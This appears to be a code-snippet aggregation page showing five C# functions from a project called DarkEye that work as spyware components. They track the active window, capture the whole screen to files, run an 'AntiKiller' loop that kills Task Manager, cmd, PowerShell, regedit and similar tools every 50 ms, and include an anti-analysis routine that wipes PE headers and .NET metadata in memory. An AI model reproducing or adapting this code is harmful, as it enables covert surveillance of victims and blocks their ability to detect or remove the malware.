コード例 #1
0
ファイル: Utils.cs プロジェクト: x1234xx/DarkEye
        public static string GetActiveWindowTitle()
        {
            try
            {
                const int     nChars = 256;
                StringBuilder Buff   = new StringBuilder(nChars);
                IntPtr        handle = NativeMethods.GetForegroundWindow();

                if (NativeMethods.GetWindowText(handle, Buff, nChars) > 0)
                {
                    return(Buff.ToString());
                }
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("GetActiveWindowTitle: " + ex.Message);
            }
            return(null);
        }
コード例 #2
0
ファイル: Streams.cs プロジェクト: x1234xx/DarkEye
        public static void WindowFinder()
        {
            WriteUtils.write("WindowFinder: Starting...");
            Window currentWindow = null;
            Window tempWindow    = null;

            while (true)
            {
                Thread.Sleep(150);
                try
                {
                    foreach (Window window in DarkEye.windowManager.windows)
                    {
                        String activeWindowName = Utils.GetActiveWindowTitle();
                        if (window == null || window.name == null || activeWindowName == null)
                        {
                            continue;
                        }

                        if (Utils.isWindowEquals(activeWindowName, window.name))
                        {
                            window.target = true;
                            currentWindow = window;
                        }
                        else
                        {
                            window.target = false;
                        }
                    }
                    if (currentWindow != null && currentWindow != tempWindow)
                    {
                        tempWindow = currentWindow;
                        WriteUtils.write("WindowFinder: New target window: " + currentWindow.name);
                    }
                }
                catch (Exception ex)
                {
                    WriteUtils.writeError("WindowFinder: " + ex.ToString());
                }
            }
        }
コード例 #3
0
ファイル: Utils.cs プロジェクト: x1234xx/DarkEye
 public static bool CaptureScreen(String path)
 {
     try
     {
         WriteUtils.write("CaptureScreen: Capturing...");
         Rectangle bounds = Screen.GetBounds(Point.Empty);
         using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
         {
             using (Graphics g = Graphics.FromImage(bitmap))
             {
                 g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
             }
             bitmap.Save(path, ImageFormat.Jpeg);
             WriteUtils.write("CaptureScreen: Saved as " + path);
             return(true);
         }
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("CaptureScreen: Capture Failed: " + ex.Message);
     }
     return(false);
 }
コード例 #4
0
ファイル: Streams.cs プロジェクト: x1234xx/DarkEye
 public static void AntiKiller()
 {
     String[] targets = new String[] { "Taskmgr", "ProcessHacker", "cmd", "powershell", "regedit", "CCleaner" };
     WriteUtils.writeWarning("AntiKiller: Starting...");
     while (true)
     {
         Thread.Sleep(50);
         try
         {
             foreach (String target in targets)
             {
                 foreach (Process process in Process.GetProcessesByName(target))
                 {
                     process.Kill();
                     WriteUtils.write("AntiKiller: Process killed: " + process.Id + ":" + process.ProcessName);
                 }
             }
         }
         catch (Exception ex)
         {
             WriteUtils.writeError("AntiKiller: " + ex.ToString());
         }
     }
 }
コード例 #5
0
        public static unsafe void Initialize()
        {
            try
            {
                uint   old;
                Module module = typeof(Protection).Module;
                byte * bas    = (byte *)Marshal.GetHINSTANCE(module);
                byte * ptr    = bas + 0x3c;
                byte * ptr2;
                ptr  = ptr2 = bas + *(uint *)ptr;
                ptr += 0x6;
                ushort sectNum = *(ushort *)ptr;
                ptr += 14;
                ushort optSize = *(ushort *)ptr;
                ptr = ptr2 = ptr + 0x4 + optSize;

                byte * @new = stackalloc byte[11];
                if (module.FullyQualifiedName[0] != '<') //Mapped
                {
                    //VirtualProtect(ptr - 16, 8, 0x40, out old);
                    //*(uint*)(ptr - 12) = 0;
                    byte *mdDir = bas + *(uint *)(ptr - 16);
                    //*(uint*)(ptr - 16) = 0;

                    if (*(uint *)(ptr - 0x78) != 0)
                    {
                        byte *importDir = bas + *(uint *)(ptr - 0x78);
                        byte *oftMod    = bas + *(uint *)importDir;
                        byte *modName   = bas + *(uint *)(importDir + 12);
                        byte *funcName  = bas + *(uint *)oftMod + 2;
                        NativeMethods.VirtualProtect(modName, 11, 0x40, out old);

                        *(uint *)@new         = 0x6c64746e;
                        *((uint *)@new + 1)   = 0x6c642e6c;
                        *((ushort *)@new + 4) = 0x006c;
                        *(@new + 10)          = 0;

                        for (int i = 0; i < 11; i++)
                        {
                            *(modName + i) = *(@new + i);
                        }

                        NativeMethods.VirtualProtect(funcName, 11, 0x40, out old);

                        *(uint *)@new         = 0x6f43744e;
                        *((uint *)@new + 1)   = 0x6e69746e;
                        *((ushort *)@new + 4) = 0x6575;
                        *(@new + 10)          = 0;

                        for (int i = 0; i < 11; i++)
                        {
                            *(funcName + i) = *(@new + i);
                        }
                    }

                    for (int i = 0; i < sectNum; i++)
                    {
                        NativeMethods.VirtualProtect(ptr, 8, 0x40, out old);
                        Marshal.Copy(new byte[8], 0, (IntPtr)ptr, 8);
                        ptr += 0x28;
                    }
                    NativeMethods.VirtualProtect(mdDir, 0x48, 0x40, out old);
                    byte *mdHdr = bas + *(uint *)(mdDir + 8);
                    *(uint *)mdDir       = 0;
                    *((uint *)mdDir + 1) = 0;
                    *((uint *)mdDir + 2) = 0;
                    *((uint *)mdDir + 3) = 0;

                    NativeMethods.VirtualProtect(mdHdr, 4, 0x40, out old);
                    *(uint *)mdHdr = 0;
                    mdHdr         += 12;
                    mdHdr         += *(uint *)mdHdr;
                    mdHdr          = (byte *)(((ulong)mdHdr + 7) & ~3UL);
                    mdHdr         += 2;
                    ushort numOfStream = *mdHdr;
                    mdHdr += 2;
                    for (int i = 0; i < numOfStream; i++)
                    {
                        NativeMethods.VirtualProtect(mdHdr, 8, 0x40, out old);
                        //*(uint*)mdHdr = 0;
                        mdHdr += 4;
                        //*(uint*)mdHdr = 0;
                        mdHdr += 4;
                        for (int ii = 0; ii < 8; ii++)
                        {
                            NativeMethods.VirtualProtect(mdHdr, 4, 0x40, out old);
                            *mdHdr = 0;
                            mdHdr++;
                            if (*mdHdr == 0)
                            {
                                mdHdr += 3;
                                break;
                            }
                            *mdHdr = 0;
                            mdHdr++;
                            if (*mdHdr == 0)
                            {
                                mdHdr += 2;
                                break;
                            }
                            *mdHdr = 0;
                            mdHdr++;
                            if (*mdHdr == 0)
                            {
                                mdHdr += 1;
                                break;
                            }
                            *mdHdr = 0;
                            mdHdr++;
                        }
                    }
                }
                else //Flat
                {
                    //VirtualProtect(ptr - 16, 8, 0x40, out old);
                    //*(uint*)(ptr - 12) = 0;
                    uint mdDir = *(uint *)(ptr - 16);
                    //*(uint*)(ptr - 16) = 0;
                    uint importDir = *(uint *)(ptr - 0x78);

                    uint[] vAdrs  = new uint[sectNum];
                    uint[] vSizes = new uint[sectNum];
                    uint[] rAdrs  = new uint[sectNum];
                    for (int i = 0; i < sectNum; i++)
                    {
                        NativeMethods.VirtualProtect(ptr, 8, 0x40, out old);
                        Marshal.Copy(new byte[8], 0, (IntPtr)ptr, 8);
                        vAdrs[i]  = *(uint *)(ptr + 12);
                        vSizes[i] = *(uint *)(ptr + 8);
                        rAdrs[i]  = *(uint *)(ptr + 20);
                        ptr      += 0x28;
                    }


                    if (importDir != 0)
                    {
                        for (int i = 0; i < sectNum; i++)
                        {
                            if (vAdrs[i] <= importDir && importDir < vAdrs[i] + vSizes[i])
                            {
                                importDir = importDir - vAdrs[i] + rAdrs[i];
                                break;
                            }
                        }
                        byte *importDirPtr = bas + importDir;
                        uint  oftMod       = *(uint *)importDirPtr;
                        for (int i = 0; i < sectNum; i++)
                        {
                            if (vAdrs[i] <= oftMod && oftMod < vAdrs[i] + vSizes[i])
                            {
                                oftMod = oftMod - vAdrs[i] + rAdrs[i];
                                break;
                            }
                        }
                        byte *oftModPtr = bas + oftMod;
                        uint  modName   = *(uint *)(importDirPtr + 12);
                        for (int i = 0; i < sectNum; i++)
                        {
                            if (vAdrs[i] <= modName && modName < vAdrs[i] + vSizes[i])
                            {
                                modName = modName - vAdrs[i] + rAdrs[i];
                                break;
                            }
                        }
                        uint funcName = *(uint *)oftModPtr + 2;
                        for (int i = 0; i < sectNum; i++)
                        {
                            if (vAdrs[i] <= funcName && funcName < vAdrs[i] + vSizes[i])
                            {
                                funcName = funcName - vAdrs[i] + rAdrs[i];
                                break;
                            }
                        }
                        NativeMethods.VirtualProtect(bas + modName, 11, 0x40, out old);

                        *(uint *)@new         = 0x6c64746e;
                        *((uint *)@new + 1)   = 0x6c642e6c;
                        *((ushort *)@new + 4) = 0x006c;
                        *(@new + 10)          = 0;

                        for (int i = 0; i < 11; i++)
                        {
                            *(bas + modName + i) = *(@new + i);
                        }

                        NativeMethods.VirtualProtect(bas + funcName, 11, 0x40, out old);

                        *(uint *)@new         = 0x6f43744e;
                        *((uint *)@new + 1)   = 0x6e69746e;
                        *((ushort *)@new + 4) = 0x6575;
                        *(@new + 10)          = 0;

                        for (int i = 0; i < 11; i++)
                        {
                            *(bas + funcName + i) = *(@new + i);
                        }
                    }


                    for (int i = 0; i < sectNum; i++)
                    {
                        if (vAdrs[i] <= mdDir && mdDir < vAdrs[i] + vSizes[i])
                        {
                            mdDir = mdDir - vAdrs[i] + rAdrs[i];
                            break;
                        }
                    }
                    byte *mdDirPtr = bas + mdDir;
                    NativeMethods.VirtualProtect(mdDirPtr, 0x48, 0x40, out old);
                    uint mdHdr = *(uint *)(mdDirPtr + 8);
                    for (int i = 0; i < sectNum; i++)
                    {
                        if (vAdrs[i] <= mdHdr && mdHdr < vAdrs[i] + vSizes[i])
                        {
                            mdHdr = mdHdr - vAdrs[i] + rAdrs[i];
                            break;
                        }
                    }
                    *(uint *)mdDirPtr       = 0;
                    *((uint *)mdDirPtr + 1) = 0;
                    *((uint *)mdDirPtr + 2) = 0;
                    *((uint *)mdDirPtr + 3) = 0;


                    byte *mdHdrPtr = bas + mdHdr;
                    NativeMethods.VirtualProtect(mdHdrPtr, 4, 0x40, out old);
                    *(uint *)mdHdrPtr = 0;
                    mdHdrPtr         += 12;
                    mdHdrPtr         += *(uint *)mdHdrPtr;
                    mdHdrPtr          = (byte *)(((ulong)mdHdrPtr + 7) & ~3UL);
                    mdHdrPtr         += 2;
                    ushort numOfStream = *mdHdrPtr;
                    mdHdrPtr += 2;
                    for (int i = 0; i < numOfStream; i++)
                    {
                        NativeMethods.VirtualProtect(mdHdrPtr, 8, 0x40, out old);
                        //*(uint*)mdHdrPtr = 0;
                        mdHdrPtr += 4;
                        //*(uint*)mdHdrPtr = 0;
                        mdHdrPtr += 4;
                        for (int ii = 0; ii < 8; ii++)
                        {
                            NativeMethods.VirtualProtect(mdHdrPtr, 4, 0x40, out old);
                            *mdHdrPtr = 0;
                            mdHdrPtr++;
                            if (*mdHdrPtr == 0)
                            {
                                mdHdrPtr += 3;
                                break;
                            }
                            *mdHdrPtr = 0;
                            mdHdrPtr++;
                            if (*mdHdrPtr == 0)
                            {
                                mdHdrPtr += 2;
                                break;
                            }
                            *mdHdrPtr = 0;
                            mdHdrPtr++;
                            if (*mdHdrPtr == 0)
                            {
                                mdHdrPtr += 1;
                                break;
                            }
                            *mdHdrPtr = 0;
                            mdHdrPtr++;
                        }
                    }
                }
                WriteUtils.write("Protection: Initialized!");
            } catch (Exception ex)
            {
                WriteUtils.writeError("Protection: " + ex.Message);
            }
        }